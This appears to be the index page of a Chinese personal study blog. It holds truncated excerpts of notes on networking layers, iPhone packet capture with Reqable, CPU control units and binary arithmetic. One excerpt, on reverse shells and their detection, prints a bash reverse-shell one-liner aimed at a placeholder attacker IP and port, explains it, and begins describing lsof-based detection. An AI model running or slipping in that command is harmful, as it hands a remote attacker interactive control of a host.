域名调整
新域名https://nocc.fun本来的域名已经做了302重定向到这里,还剩一个月解析,新域名看着舒服点
后面会有更新最近的笔记
计算机网络运输层
运输层服务运输层协议为在不同主机上的应用进程之间提供了逻辑通信功能
网络层提供了主机之间的逻辑通信,而运输层为运行在不同主机上的进程之间提供了逻辑通信
因特网运输层为应用层提供了UDP和TCP协议
网络层有个协议是IP协议,即网际协议
UDP和TCP最基本的责任是:将两个端系统间IP的交付服务拓展为运行在端系统上的两个进程之间的交付服务。
将主机间交付拓展到进程间交付被称为运输层的多路复用和多路分解
多路复用与多路分解将运输层报文端中的数据交付到正确的套接字工作称为多路分解
在源主机从不同套接字中收集数据库,并为每个数据块封装上首部信息从而生成报文段,然后将报文段传递到网络层,所有这些工作称为多路复用
UDPUDP仅仅做了运输协议的最少工作,除了复用/分解功能及少量差错检测外,几乎就没有对IP增加新的东西
使用UDP时,在发送报文段之前,没有握手,所以称UDP无连接
DNS是一个使用UDP的应用层协议的例子
使用UDP的原因:
关于发送什么数据及何时发生的应用层控制更加精细
无需建立连接
无连接状态
分组首部开销小
UDP报文结构
UDP校验和提供了差错校验过程
发送方的UDP对 ...
计算机网络应用层
网络应用是计算机网络存在的理由
网络应用程序体系结构客户-服务器体系结构
服务器和客户端,服务器有一个固定的IP地址
P2P体系结构
应用程序在间断连接的主机对之间使用直接通信,这些主机被称为对等方
自拓展性
进程通信
进行通信的实际上是一个个进程 而非程序
进程通过套接字向网络发和接受报文
可靠数据传输
如果一个协议确保数据正确、完全的交付给另一端则提供了可靠数据传输
因特网提供的运输服务
TCP服务
面向连接的服务
可靠的数据传送服务
拥塞控制机制
UDP服务
提供最小服务
无连接
没有拥塞控制机制
运输协议不提供的服务
TCP/UDP提供了可靠数据传输、安全性,但没有对吞吐量和定时做保障
应用层协议
应用层协议定义了:
交换的报文类型
各种报文类型的语法
字段的语义
确定一个进程何时以及如何发送报文,对报文进行响应的规则
Web和HTTPweb的应用层协议是超文本传输协议(HTTP)。http是web的核心
Web页面由对象组成,一个对象只是一个文件,图像,小程序或者视频,可通过URL寻址
Web浏览器实现了HTTP的客户端,Web服务器实现了HTTP的服务器 ...
计算机网络 概论
开个新坑,计网老师用的是英文ppt,所以打算看黑皮书
自己写一点理解,一共六章
什么是因特网大众熟知的三种网络有:电信网络、有线电视网络、计算机网络
其中发展最快并且起到了核心作用的是计算机网络
现代计算机网络则将三网融合
因特网的2个重要基本特点
连通性
使上网用户之间可以非常便捷、经济地交换各种信息
使得用户终端都像彼此直接连通(实际上不一定)
资源共享
实现是信息共享、软件共享、硬件共享
用户能够方便地使用这些资源
以上两点是互联网提供许多服务的基础
构成
例如桌面PC、Linux服务器、Mac电脑,乃至智能手机、汽车等,这些设备在因特网中都称为主机或者端系统
端系统通过通信链路和分组交换机连接在一起
分组交换机:用来转发数据包,有路由器、链路层交换机等
通信链路:有光纤、铜线、无线电、卫星,传输速率用带宽(bps)体现
端系统通过ISP(Internet Service Provider)接入互联网
端系统、分组交换机、其他部件都要运行一系列的协议,协议控制了信息的发送和接收,TCP和IP协议是两个最为重要的协议、
因特网标准:获取统一认识
服务描述
从为 ...
反弹shell的姿势与检测
开个新坑 最近学的云安全,偏向应急响应和内网渗透
一方面是记录下云安全的学习,另一方面会记录一下应急响应的知识
CWPP
云负载保护平台
集成了主机安全、容器安全、网页防篡改
可以理解为linux下的监控软件
反弹shell和检测
下文出现的attack_ip,attack_port即监听机 用于接收反弹的shell
在RCE后,反弹shell可以帮我们拿下一台主机的权限,为后续渗透利用打下基础
一句话
bash -i >& /dev/tcp/<attack_ip>/<attack_port> 0>&1
bash -i
bash 一个shell应用
-i 产生交互式shell
>&
混合输出,将正确的,错误的结果都输出到一个地方——攻击者端
/dev/tcp/ip/port
对该文件读写建立一个socket通信
0>&1
0表示输入,将Attack输入,命令执行结果为1,输出给攻击者,形成回路
如何检测?
使⽤lsof检测,如果出现了0 1 2 ⽂件描述符的重定位,则存在反弹shell的⻛险
lso ...
reqable配合iphone抓包
背景学习计网的wireshark,对抓包工具有了点了解,然后试试更现代化的reqable工具,这个工具更适合批量分析、测试网站、小程序。
实验环境:
MacOS系统 arm架构
iphone13 Pro iOS 17.5.1
mac端的reqable和iOS端的reqable
一个数据线,用于连接iphone和mac
网络连接reqable的手机抓包可以依赖于同一局域网下的http代理,在reqable的帮助里面已经清楚的解释了
但是不足的是,在同一互联网下面我的iphone端reqable有时候无法连接到我的mac,(确认是同一网段),同时即使连上了也未必稳定。
校园网环境是这样的
于是我发现了mac的网络共享功能
该功能可以把mac端的wifi直接共享出来,给手机使用
这里我把手机连上mac后,信任该电脑
然后在macos系统设置下如下设置
两个USB的原因是有两个typec口都连过,都用上好了
有时候会报错:你的互联网连接不能共享,因为它受802.1X保护。
一般不会报这个问题,我这边学校有俩wifi,换了另一个就行
确认开启以后把iphone的wifi ...
控制单元的设计
组合逻辑设计组合逻辑控制单元框图
微操作的节拍安排采用同步控制方式
一个机器周期内有三个节拍
CPU内部采用的是非总线方式
微程序设计
暂不加
控制单元的功能
微操作命令的分析完成一条指令分4个工作周期
取指周期
间址周期
执行周期
中断周期
取指周期PC$\rightarrow$MAR
1$\rightarrow$R
M(MAR)$\rightarrow$MDR
MDR$\rightarrow$IR
OP(IR)$\rightarrow$CU
PC+1$\rightarrow$PC
间址周期指令形式地址$\rightarrow$MAR
Ad(IR)$\rightarrow$MAR1$\rightarrow$R
M(MAR)$\rightarrow$MDR
MDR$\rightarrow$Ad(IR)
执行周期非访存指令
CLA 清A 0$\rightarrow$ACC
COM 取反 $\overline {\text{ACC}}\rightarrow$ACC
SHR 算术右移 L(ACC)$\rightarrow$R(ACC),$ACC_0\rightarrow ACC_0$
CSL 循环左移 R(ACC)$\rightarrow$L(ACC),$ACC_0\rightarrow ACC_n$
STP 停机指令 0$ ...
计算机的运算方式
无符号数和有符号数无符号数寄存器的位数反映了无符号数的表示范围
例如8位就表示0~255,16位表示了0~65535
有符号数真值就是带符号的数,而机器数就是将符号数字化了的数 0正 1负
机器数分为:
原码
补码
反码
移码
原码原码的n位定点整数表示范围是:$-(2^{n-1}-1 )$~$+(2^{n-1}-1)$
原码表示的n位定点小数的表示范围是:$-(1-2^{-(n-1)})$~$+(1-2^{-(n-1)})$
补码作用是化减法为加法
以时钟12进制为例子,+9是-3以12为模的补数
一个负数加上“模”即该负数的补数
当一个正数和一个负数互为补数时,他们绝对值之和为模数
正数的补即为本身
负数的补加模n即可 一般二进制的话模的就是$2^{n+1}$ (这里假设是n位整数了)
当真值为负,补码可以用原码除符号位外每位取反,末位+1得到
补码的n位定点整数表示范围是$-2^{n-1}$~$+(2^{n-1}-1)$
补码表示的n位定点小数的表示范围是 $-1$~$+(1-2^{-(n-1)})$
反码
移码用来弥补补码难判断真值大小的问题
补码和移码只相差一 ...